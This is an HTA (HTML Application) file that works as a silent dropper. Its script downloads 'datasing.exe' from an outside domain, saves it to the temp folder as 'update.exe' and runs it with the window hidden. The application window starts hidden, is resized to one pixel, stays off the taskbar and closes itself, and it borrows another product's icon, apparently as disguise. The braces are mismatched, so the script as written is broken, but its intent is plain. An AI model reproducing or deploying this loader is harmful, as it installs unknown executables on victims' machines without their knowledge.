<html>
<head>
<HTA:APPLICATION id="hwHTA"
applicationName="hyperHTA"
border="thin"
borderStyle="normal"
caption="no"
icon="http://www.hyperwrite.com/features/favicon.ico"
maximizeButton="no"
minimizeButton="no"
showInTaskbar="no"
windowState="hidden" <!-- Start the window hidden -->
innerBorder="no"
navigable="no"
scroll="no"
singleInstance="yes"
sysMenu="no"
contextMenu="no"
selection="no"
version="1.0" />
<script>
function downloadAndRunFile(url) {
try {
var shell = new ActiveXObject("WScript.Shell");
var tempFolder = shell.ExpandEnvironmentStrings("%TEMP%");
var savePath = tempFolder + "\\update.exe"; // Save to temp folder
var xmlhttp = new ActiveXObject("MSXML2.ServerXMLHTTP");
xmlhttp.open("GET", url, false);
xmlhttp.send();
if (xmlhttp.status === 200) {
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1; // Binary
stream.Open();
stream.Write(xmlhttp.responseBody);
stream.SaveToFile(savePath, 2); // Overwrite if exists
stream.Close();
// Execute the downloaded file silently
shell.Run(savePath, 0, false); // 0 hides the window
} else {
// Log to console
console.log("Failed to download file. HTTP Status: " + xmlhttp.status);
}
} catch (e) {
// Start the download and run process
window.onload = function() {
// Resize the window to a very small size to minimize visibility
window.resizeTo(1, 1);
// Use a timeout to delay the execution
setTimeout(function() {
downloadAndRunFile('https://newshostingsupdate.com/datasing.exe');
window.close(); // Close the HTA window after starting the download
}, 500); // Adjust the delay if needed
</script>
<title>Download and Execute Silently</title>
</head>
<body>
<h1 style="display:none;"></h1>
<p style="display:none;">Please wait while the executable is downloaded and executed silently.</p>
</body>
</html>